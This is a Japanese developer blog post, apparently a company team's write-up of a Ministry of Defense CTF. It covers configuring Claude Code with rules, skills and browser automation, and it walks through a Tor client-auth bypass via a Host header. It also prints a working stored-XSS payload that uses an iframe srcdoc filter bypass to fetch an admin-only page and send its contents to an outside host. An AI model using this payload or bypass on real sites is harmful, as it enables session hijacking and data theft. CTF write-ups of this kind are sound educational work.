Money Forward Developers Blog

株式会社マネーフォワード公式開発者向けブログです。技術や開発手法、イベント登壇などを発信します。サービスに関するご質問は、各サービス窓口までご連絡ください。

20230215130734

(Writeup) 防衛省サイバーコンテスト2026で全問正解しました

2026年2月1日(日)に開催された防衛省サイバーコンテストに、弊社のメンバー3名でチームを組んで参加しました。

www.mod.go.jp

結果は...なんと一般・団体部門に参加して5位(全問正解!) でした🎉

score

実際の順位は解答時間の合計で決定されるため、私たちは満点チームの中では5番目に全問解き終えたことになります。

この記事では、コンテストの様子や各メンバーの体験、特にClaude CodeをCTF(Capture The Flag、セキュリティのコンテスト)向けに最適化した取り組みをご紹介します。

防衛省サイバーコンテストとは

防衛省サイバーコンテストは、防衛省・自衛隊が主催するセキュリティコンテストです。

今年は大きな変更点があり、これまでの個人戦に加えて、チームを組んでの団体戦(2〜3名参加) が新設されました。さらに「学生部門」と「一般部門」を分けて表彰されることになりました。

開催概要

  • 開催日時: 2026年2月1日(日)10:00〜18:00
  • 形式: オンラインによるJeopardy形式(複数のジャンルから出題される形式)のCTF(Capture The Flag)
  • 参加資格: 日本国籍を有する個人(防衛省・自衛隊の職員を除く)
  • 参加形態: 個人(1名)または団体(2〜3名)

参加特典

  • 先着1,500名に特製オリジナルステッカー
  • 上位入賞者には防衛省特製オリジナルTシャツ
  • 上位5位以内に入賞した場合、令和8年度に防衛省・自衛隊が実施するイベントに招待

個人・団体共通で、複数団体での同時参加や個人・団体両方での参加はできないルールとなっています。

参加メンバー紹介

今回は以下の3名でチームを組んで参加しました。

  • じんたん(んーたん): 農業したい
  • nanry(sa1monICs): おいでよ京都開発拠点
  • Task(T45K): マネーフォワードコンサルティング株式会社でバックエンドエンジニア兼エンジニアリングマネージャー見習いをしています。今回CTF形式のイベントは初参加でした

コンテスト参加レポート

今回参加した3名でそれぞれ感想と問題解説を書きました。

じんたんのパート - CTF向けClaude Code環境構築

私は今回、問題を解くというよりは「いかにClaude Codeを使ってCTFを効率化できるか」にチャレンジしてみました。実際の問題解説はnanryに任せて、私からはAI活用の試行錯誤についてお話しします。

背景:CTFの「めんどくさい」を何とかしたかった

CTFに参加したことがある人ならわかると思うんですが、問題を解くこと自体は楽しいんですよね。でも、その周辺作業がとにかく面倒で...。

問題ファイルをダウンロードして、適切なディレクトリに整理して、解き終わったらフラグをコピペして提出して、Writeupを書いて...。この繰り返しが地味にストレスなんです。特にチーム戦だと「あれ、この問題誰かもう解いてる?」みたいな確認も必要になってきます。

そこで思いついたのが、Claude Codeにこの辺の雑務を全部やらせようという作戦でした。

.claude/ ディレクトリでClaudeをカスタマイズ

Claude Codeには、プロジェクトごとに振る舞いをカスタマイズできる「メモリ」機能があります。公式ドキュメントによると、Claudeのメモリには階層構造があって、個人設定からプロジェクト設定まで使い分けられるんですよね。

今回はプロジェクトレベルのメモリとして、こんな構成を作りました:

.claude/
├── rules/           # Claudeが常に従うルール
├── skills/          # スラッシュコマンド定義
└── hooks/           # ステータス表示カスタマイズ

Rules - Claudeに「絶対守ってね」を伝える

.claude/rules/ ディレクトリに置いたMarkdownファイルは、Claudeが全ての会話で自動的に参照するルールになります。 CLAUDE.md が「プロジェクトの概要」なら、rulesは「厳守事項」という位置づけです。

公式ドキュメントによると、rulesには便利な機能がいくつかあります:

  • 複数ファイルに分割できる: testing.md, security.md みたいに話題ごとに整理できる
  • パス指定で適用範囲を絞れる: フロントマターで paths: ["src/api/**/*.ts"] と書けば、APIファイル編集時だけ適用
  • サブディレクトリで整理できる: rules/frontend/, rules/backend/ のように話題ごとに整理できる

今回作ったルールの中で一番効果があったのが、コンテストのルール自体をそのままClaudeに教えるというアプローチでした。

contest-rules.md - コンテストルールをまるごとClaudeに共有

# 防衛省サイバーコンテスト 2026 ルール

## 開催概要
- **開催日時**: 2026年2月1日(日) 10:00 - 18:00 (8時間)
- **問題形式**: Jeopardy形式 CTF
- **問題数**: 全31問
- **解答用サーバー**: https://c.contest2026.mod.go.jp/

## カテゴリー
| カテゴリー | 内容 |
|----------|------|
| Welcome | 解答方法確認・VPN設定ファイルダウンロード |
| Crypto | 暗号データの解読 |
| Forensics | デジタルフォレンジック |
| Network | ネットワークプロトコルの解析 |
| Programming | プログラミング・データ処理 |
| Pwn | プログラムの脆弱性の解析 |
| Web | Webアプリケーションの脆弱性の解析 |
| Misc. | その他の問題 |

## 得点・解答ルール
- 難易度に応じて 10, 20, 30点が設定
- 誤答による減点・回数制限なし
- フラグ形式: `flag{...}`

## ヒント
- **現在の団体得点を支払ってヒントを取得可能**
- 各問題に 0〜3個のヒントあり

## 禁止事項
- 解答用サーバーへの攻撃
- 問題用サーバーの動作妨害(DoS攻撃、データ消去等)
- 開催時間中の問題内容・解法の一般公開

このアプローチの何が良いかというと、Claudeがコンテストの文脈を完全に理解した上で動いてくれるようになるんです。

例えば「次はCrypto問題やりたい」と言えば、Claudeは「カテゴリー表にCryptoがある」「暗号データの解読が出る」という前提知識を持っているので、それに適したツールの準備や解法の提案をしてくれます。

あと地味に大きかったのがヒントのルールを書いておいたこと。Claudeが「ヒント見ましょうか?」と提案してきたとき、「ヒントは得点を消費するからダメ」とルールを参照して自制してくれます。これ、書いてなかったら絶対やらかしていたと思いました。

do-not-get-hint.md - 念押しの1行ルール

ヒントについては念押しで別ファイルも作りました:

問題提出欄の上部にあるヒントは絶対に開かないでください

たった1行ですが、これで二重にガードできます。「contest-rules.mdを読み飛ばしてもこれは見るだろう」という保険です。

Skills - /ctf コマンドで操作を自動化

Skillsは、Claudeに新しい能力を追加する機能です。.claude/skills/{skill-name}/SKILL.md というファイルを用意します。

面白いのは、ユーザーが明示的に /skill-name で呼び出すだけじゃなくて、Claudeが「この場面ではこのスキルが役立ちそう」と判断して自動的に使うこともできるんです。

今回作ったスキルは、Playwright MCPを使ってCTFdプラットフォームをブラウザ操作するものです。まずは実際のSKILL.mdを見てください:

---
name: ctf
description: 防衛省サイバーコンテスト2026の問題サイトにアクセスして問題確認・ファイルダウンロード・フラグ提出を行う。CTF問題を解く時、フラグを提出する時、問題一覧を見たい時に使用。
---

# 防衛省サイバーコンテスト CTF スキル

## サイト情報

- **URL**: https://c.contest2026.mod.go.jp/
- **プラットフォーム**: CTFd
- **フラグ形式**: `flag{...}`
- **チーム**: Security_Forward

## CTFdページ構造

| パス | 説明 | 主要要素 |
|------|------|----------|
| `/challenges` | 問題一覧 | カテゴリ別ボタン(黒:未解答、緑:正解済) |
| `/team` | 自チーム | heading(チーム名), table(メンバー/得点), 正解問題 |
| `/scoreboard` | 得点表 | heading "得点表", ランキングテーブル |
| `/notifications` | お知らせ | heading "お知らせ", 通知リスト |

## 操作手順

### 問題一覧 (`/ctf list`)

1. browser_navigate url="https://c.contest2026.mod.go.jp/challenges"
2. browser_snapshot
3. 問題ボタンをクリックで詳細モーダル表示

### 問題詳細 (`/ctf view {問題名}`)

1. /challenges でページ取得
2. 問題名ボタンをクリック → モーダル表示
3. モーダル内容:
   - 問題名・配点
   - 問題文
   - ヒント(▶ ヒントを表示: ...)
   - 添付ファイル(ダウンロードボタン)
   - textbox "Flag" + button "送信"

### ファイルダウンロード (`/ctf download {問題名}`)

モーダルからダウンロードURLを取得し、カテゴリ別ディレクトリに保存:
mkdir -p challenges/{category}/{problem-name}
curl -b "session=..." -o challenges/{category}/{problem-name}/{filename} "{url}"

### フラグ提出 (`/ctf submit {問題名} {flag}`)

1. 問題モーダルを開く
2. browser_type ref="{Flag入力欄ref}" text="flag{...}"
3. browser_click ref="{送信ボタンref}"
4. 結果確認: Correct(緑) / Incorrect(赤)

## Playwright MCPコマンド

# ページ遷移
browser_navigate(url="https://c.contest2026.mod.go.jp/challenges")

# スナップショット取得
browser_snapshot()

# 要素クリック(refはsnapshotから取得)
browser_click(ref="e14", element="問題リンク")

# テキスト入力
browser_type(ref="e50", text="flag{example}")

## ディレクトリ構成

challenges/
├── crypto/       # 暗号解読
├── forensics/    # デジタルフォレンジック
├── network/      # ネットワーク解析
├── programming/  # プログラミング
├── pwn/          # 脆弱性解析
├── web/          # Webアプリ脆弱性
└── misc/         # その他

## 注意事項

- ヒント取得 → 団体得点から減点
- VPN接続必須(OpenVPN 2.6.x)
ポイント解説

1. description で用途を明確に

フロントマターの description に「CTF問題を解く時、フラグを提出する時」と具体的なユースケースを書いています。これにより、「フラグ提出して」みたいな曖昧な指示でも、Claudeが自動的にこのスキルを使うと判断してくれます。

2. ページ構造をテーブルで教える

Claudeは初見のWebサイトの構造を知りません。CTFd(CTF問題サーバーのOSS)ページ構造のテーブルを書いておくことで、「問題一覧は /challenges」「得点確認は /team」とClaudeが迷わず操作できるようになります。

3. Playwright MCPの操作手順を定義

browser_snapshot()ref 取得 → browser_click / browser_type という流れを明記しています。Claudeはこの手順に従ってブラウザを自動操作します。

スキルには他にも $ARGUMENTS で引数を受け取ったり、context: fork でサブエージェントとして実行したり、いろいろな機能があります。詳しくは公式ドキュメントをどうぞ。

Output Styles - Claudeの応答スタイルを変える

もう一つ紹介したいのがOutput Stylesです。これはClaudeの応答スタイル自体を変える機能です。

Claude Codeには組み込みで3つのスタイルがあります:

  • Default: 通常のソフトウェアエンジニアリング向け
  • Explanatory: コードを書きながら「なぜこうしたか」を教えてくれる教育モード
  • Learning: 一部のコードを TODO(human) として残し、自分で書くよう促してくる学習モード

で、これをカスタムで作れるんですよね。.claude/output-styles/ にMarkdownファイルを置くと、自分専用のスタイルが追加されます。

今回のCTFでは、こんな「CTF特化スタイル」を試してみました:

---
name: CTF Mode
description: CTF問題を解くことに特化したスタイル
keep-coding-instructions: true
---

# CTF Mode

あなたはCTFプレイヤーのアシスタントです。

## 行動指針
- 問題を解く際は、まず問題文を注意深く読み、手がかりを探す
- 使えそうなツールや手法を列挙してから着手する
- フラグを見つけたら即座に報告する
- 解けなくても、試したことと結果を記録する

## 出力フォーマット
- 思考過程を省略せずに出力
- コマンドを実行する前に何をしようとしているか説明

keep-coding-instructions: true を入れると、通常のコーディング関連の指示も維持されます。CTFではコードを書くことも多いので、これは必須でした。

正直、今回はrulesとskillsほど活用しきれなかったんですが、「Claudeの人格そのものをカスタマイズできる」という意味では、面白い機能だと思います。

実際どうだったか

うまくいったこと:

コンテスト中、問題の切り替えがめちゃくちゃスムーズでした。「次の問題」と言えば、Claudeが勝手に問題ファイルをダウンロードして、ディレクトリを作って、準備してくれます。この時間短縮は大きかったです。

あと、ステータスラインに残り時間を表示するようにしたのも地味に良かったです。「あと3時間か...」みたいな意識が常にあると、ペース配分を考えやすいと思いました。

# こんな感じで表示される
crypto/RSA | ●VPN | ⏱3h25m | $0.45

うまくいかなかったこと:

最初はPlaywright MCPでブラウザを自動操作していたんですが、自分の環境ではうまく動かないことがありました。おそらくCTF中に頻繁にページを切り替える使い方と相性が悪かったのか、挙動が重くなったり、ページが表示されなかったりすることがありました。

途中からChrome DevTools MCP(chrome-mcp)に切り替えたら、こっちの方が断然良かったです。動作も軽いので、「あ、こっちにすればよかった...」と後悔しました。

{
  "mcpServers": {
    "chrome-devtools": {
      "command": "npx",
      "args": ["chrome-mcp@latest"]
    }
  }
}

個人的にはPlaywrightよりchrome-mcpの方がおすすめです。次回はこっちをメインで使います。

まとめ

今回の環境構築で学んだのは、AIは「何でもできる魔法」じゃなくて「ルールを決めれば従ってくれる便利な相棒」 だということです。ルールを明確に定義すればするほど、期待通りに動いてくれます。

CTFに限らず、繰り返し作業が多いプロジェクトでは .claude/rules/ にルールを書いておくのがおすすめです。


さて、ここからは実際に問題を解いたnanryとT45Kにバトンタッチ。技術的な深掘りをお楽しみください!

nanryのパート

Web、Network、Forensics、Programmingと多ジャンルの12問を解きました。

  • 静寂の調べ (Web, 20pt)
  • 空中の架け橋 (Network, 30pt)
  • 断片の記憶 (Forensics, 30pt)
  • 運命の数字 (Network, 10pt)
  • 囚われの記録 (Forensics, 20pt)
  • 怪しい名前解決 (Network, 20pt)
  • 刻まれし証 (Forensics, 20pt)
  • 細胞の回帰 (Programming, 30pt)
  • 脅威の報告 (Forensics, 10pt)
  • 認証問合 (Programming, 20pt)
  • 埋もれし痕跡 (Forensics, 10pt)
  • 三角の綻び (Programming, 10pt)

感想

今回のコンテストでは、Claude/Geminiといった生成AIをフル活用して問題を解きました。

結論として強く感じたのは、「AIに『対象外の情報』や『実践的な知識』を与えることの重要性」 です。

AIはコードを爆速で書いてくれます。しかし、「この状況ではHostヘッダーを疑うべき」「Beeceptorを使えば外部サーバー不要」といったセキュリティテストの定石や専門ツールの選定 は、人間側から明示的に指示する必要がありました。

以下、実際に解いた問題から、「AIの限界」と「人間の介入ポイント」 を紹介します。

1. 突破された認証 (Web, 30pt) Tor + クライアント認証バイパス

問題文

クライアント認証を使用した Tor の Onion ドメインを発行できるウェブサイトを開発しましたが、実装に脆弱性があります。「Admin Panel」に侵入し、フラグを奪取してください。

問題概要

Tor Onionサービス(サーバーも利用者もTorネットワーク内だけで接続するための仕組み)でクライアント認証が設定されたAdmin Panelに侵入する問題です。以下の手順が必要です:

  1. メインサイトでCAPTCHAを解く(SVGから16進数メモリ値を抽出→XOR復号)
  2. 自分用のOnionドメインと秘密鍵を取得
  3. Torクライアント認証を設定
  4. Admin Panelへの侵入方法を見つける

AIの限界

AIは技術的な実装タスクについては極めて優秀でした。CAPTCHAの解析ロジック(Base64デコード→XOR復号)の実装や、Tor認証ファイルの設定方法の説明など、既知の技術的な手順については完璧にこなしました。

しかし、「どうやってAdmin Panelにアクセスするか」という攻撃戦略が出てきませんでした。Admin Panelへの直接アクセスが認証エラー(Exit code 97)になることは分かっても、次の一手が見えない状況でした。

この問題が示すのは、AIは「どうやるか(How)」は得意だが、「何を試すべきか(What)」という戦略立案が苦手だということです。

人間の介入

問題を見直して気づいたのは、AIが取得した認証キーを自分で作成したOnionドメイン用ではなく、Admin Panel用と取り違えているということでした。

この気づきをAIに伝えたところ、AIは即座に状況を理解し、解決策を見つけました。

結果

「認証キーが別サイト用」という情報を与えた瞬間、AIが以下を完全自動化しました:

  1. CAPTCHA解析スクリプト
    • SVG画像から16進数メモリ値を正規表現で抽出
    • 256 - 使用メモリ = キー で復号キーを計算
    • Base64デコード後、各バイトをキーでXOR復号
  2. Tor認証ファイルの自動設定
    • ~/.tor/onion_auth/ ディレクトリ作成
    • domain:descriptor:x25519:key 形式で認証ファイル生成
    • Torサービスの自動再起動
  3. エクスプロイトスクリプト
    • 自分のOnionドメインにアクセスしつつ、Hostヘッダーを使ってAdmin Panelのコンテンツを取得する仕組みを実装
    • CAPTCHA解答からフラグ取得まで完全自動化

約3分で完成しました。

取得したFlag: flag{bypass_t0r_client_auth3nt1cati0n}

2. 静寂の調べ (Web, 20pt) XSS + 外部サーバー通信

問題文

ゲストブックのようなWebアプリケーションで、管理者botにXSSペイロードを実行させてフラグを窃取する問題。

問題概要

Stored XSS(蓄積型クロスサイトスクリプティング)脆弱性を利用して、管理者botのセッションでフラグを取得し、外部サーバーに送信する問題。Stored XSSとは、攻撃者が不正なスクリプトをWebサイトに保存し、他のユーザーがそのページを閲覧した際に自動的にスクリプトが実行される攻撃手法です。

制約条件:

  • <script> タグや on* イベントはフィルターでブロックされる
  • 管理者botは定期的にゲストブックを閲覧
  • フラグは管理者権限でのみアクセス可能(/flag.php

AIの限界

AIはXSSペイロード自体の作成は得意です。しかし、CTFという実践環境での「実装戦略の選定」 で課題が見えました。

AIは「Pythonでローカルサーバーを立てる」という教科書的な提案をしてきましたが、CTF環境では外部からlocalhostにアクセスできない可能性や、ファイアウォール・NATの考慮、サーバー起動の手間など、実践上の障壁があります。

この問題が示すのは、AIは技術的な実装は完璧にこなせても、「この状況ではどのツールや方法が最適か」という実務的な判断が苦手だということです。CTFでは時間制限がある中で、Beeceptorのような外部サービスを使う方が圧倒的に効率的ですが、こうした「実践知」はAIの学習データには含まれにくく、人間の経験に基づく判断が必要でした。

人間の介入

この問題を解くにあたって、まず「管理者botからフラグをどうやって受け取るか」という根本的な課題に直面しました。XSSペイロードでフラグを取得できても、それを自分のところに送信する仕組みがなければ意味がありません。

AIは「Pythonでローカルサーバーを立てる」という提案をしてきましたが、これには以下の問題がありました:

  • 外部からlocalhostにアクセスできるか不明
  • ファイアウォール・NATの設定が必要
  • サーバー起動と管理の手間
  • CTFの時間制限の中で、セットアップに時間をかけたくない

そこで、Beeceptorを使うという方向性をAIに指示しました。Beeceptorは即座にWebhook URLを発行できる外部サービスで、セットアップ不要です。CTFのような時間制限がある状況では、こうした「すぐ使えるツール」の選定が重要になります。

XSSペイロード(二重HTMLエンティティエンコード):

<iframe srcdoc="&lt;script&gt;fetch('/flag.php').then(r=>r.text()).then(t=>new Image().src='http://10.35.2.151:8888/?'+encodeURIComponent(t))&lt;/script&gt;"></iframe>

動作原理:

  1. <iframe srcdoc> はフィルターを通過
  2. srcdoc 属性内のHTMLエンティティ(&lt;<)が自動デコード
  3. デコード後に <script> タグが有効化
  4. 管理者botのセッションで /flag.php を取得
  5. 取得したフラグを外部サーバーにGETリクエストで送信

結果

この方向性を指示した後、AIは以下を提案・実装しました:

  • iframe srcdoc を使った二重エンコードのバイパス技術
  • fetch APIと Image.src を組み合わせたデータ送出
  • encodeURIComponent による特殊文字のエスケープ

補足: Beeceptorを使えば、サーバー起動不要で一時的なWebhook URLを即座に発行できます。CTF環境で「外部サーバーが必要」という状況では非常に有効です。

取得したFlag: flag{xss_1fr4m3_srcd0c_byp4ss}

結論

AIは「優秀な実装者」ですが、「攻撃戦略の立案者」は人間が担うべきです。

AIに丸投げすると、一般的な解法しか出てきません。セキュリティコンテストでは、既知の手法が問題文やヒントで明示されることは稀であり、状況から適切な攻撃手法を推測する必要があります。

「この状況ではこの手法を試すべき」というセキュリティの定石を人間が与えた瞬間、AIは真価を発揮します。

CTFは「知識 × 実装力」の競技ですが、AIによって実装力のボトルネックが解消され、知識と戦略の重要性がより際立つようになりました。

今後のCTFでは、「AIをどう使いこなすか」が重要な差別化要因になると感じました。

T45Kのパート

こちらで別記事となっております、ぜひご覧ください。 防衛省サイバーコンテスト2026で全完した話 1

振り返りと来年に向けて

8時間のコンテストで全31問を完答できたことは、チーム全体で効率よく問題を分担し、協力できた成果だと思います。

チームで参加して良かったこと

今回、初めての団体戦という形式で参加しましたが、チームで参加することで以下のような良さを感じました。

  • 得意分野を活かせた: 各メンバーがCrypto、Web、Pwn 2 など得意なカテゴリに集中でき、効率的に得点を重ねられた

  • 困ったときに相談できた: 一人で詰まった問題も、他のメンバーに相談することで新しい視点が得られた

  • モチベーション維持: チームメンバーが解いている様子を見ることで、自分も頑張ろうという気持ちが続いた
  • 社内のメンバーとの交流: 今回参加したメンバーは普段業務では関わらないが、共通の趣味を通じて親睦を深められた

特に、3人で並行して異なる問題に取り組めたことで、時間を最大限に活用できました。

来年に向けて

全問正解という結果は達成できましたが、解答時間ではまだ改善の余地があります。

実は12時前には残り1問というところまで来ていたんです。「これ全完いけるんじゃない?」とテンション上がっていたんですが...空腹に耐えられず、近くの行列ができる蕎麦屋にご飯を買いに行ってしまいました。

戻ってきたら、全完チームがどんどん増えていて順位が大幅に下がっていました...。蕎麦は美味しかったんですけどね。

次回への教訓:

  • 昼食は弁当か出前:離席時間は最小限に!行列に並んでる場合じゃない
  • 頻出パターンの事前整理:解答速度を上げるための準備をもっと
  • Claude Code環境のブラッシュアップ:今回の構築をさらに磨いて効率化

来年も参加して、今度は解答時間でも上位を狙いたいと思います!(蕎麦は終わってからにします)

また、マネーフォワードでは一緒にこうしたコンテストやセキュリティに興味のあるエンジニアを募集しています。興味のある方はぜひ採用ページをご覧ください!

recruit.moneyforward.com


  1. 全完は全問完答のことを指します。
  2. Pwnableの略でバイナリ系の問題のこと。詳細は右記を参照のこと。 http://sandbox.spica.bz/cpaw_ctf/about_ctf.html